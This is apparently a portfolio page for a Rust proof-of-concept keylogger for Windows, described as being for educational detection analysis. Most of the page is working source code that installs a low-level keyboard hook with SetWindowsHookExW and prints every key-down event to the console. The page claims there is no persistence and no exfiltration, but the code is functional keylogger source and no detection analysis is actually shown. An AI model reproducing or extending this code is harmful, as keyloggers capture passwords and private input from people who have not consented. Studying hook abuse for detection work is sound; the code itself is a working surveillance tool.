ID_EXPERIMENTO: 001
Rust Keylogger PoC
ARCHIVED
A Windows-based keylogger demonstrating the usage of SetWindowsHookEx and proper hook chaining for educational detection analysis.
OBJETIVO
Understand how Windows messaging hooks can be abused for credential interception and how EDRs detect hook injection.
RESTRICCIONES
Educational purpose only. Does not persist across reboots. Logs to stdout only.
Rust WinAPI Unsafe
src/main.rs
use std::ptr;use winapi::shared::minwindef::{LPARAM, LRESULT, WPARAM};use winapi::shared::windef::HHOOK;use winapi::um::winuser::{CallNextHookEx, DispatchMessageW, GetMessageW, SetWindowsHookExW,TranslateMessage, UnhookWindowsHookEx, WH_KEYBOARD_LL, KBDLLHOOKSTRUCT,};static mut HOOK: HHOOK = ptr::null_mut();unsafe extern "system" fn keyboard_proc(n_code: i32,w_param: WPARAM,l_param: LPARAM,) -> LRESULT {if n_code >= 0 {let kb = &*(l_param as *const KBDLLHOOKSTRUCT);// WM_KEYDOWN = 0x0100if w_param as u32 == 0x0100 {println!("[KEY] vkCode={:03} scanCode={:#06x}", kb.vkCode, kb.scanCode);}}CallNextHookEx(HOOK, n_code, w_param, l_param)}fn main() {unsafe {HOOK = SetWindowsHookExW(WH_KEYBOARD_LL, Some(keyboard_proc), ptr::null_mut(), 0);assert!(!HOOK.is_null(), "Failed to install hook");let mut msg = std::mem::zeroed();while GetMessageW(&mut msg, ptr::null_mut(), 0, 0) > 0 {TranslateMessage(&msg);DispatchMessageW(&msg);}UnhookWindowsHookEx(HOOK);}}
MODO_SOLO_LECTURAUTF-8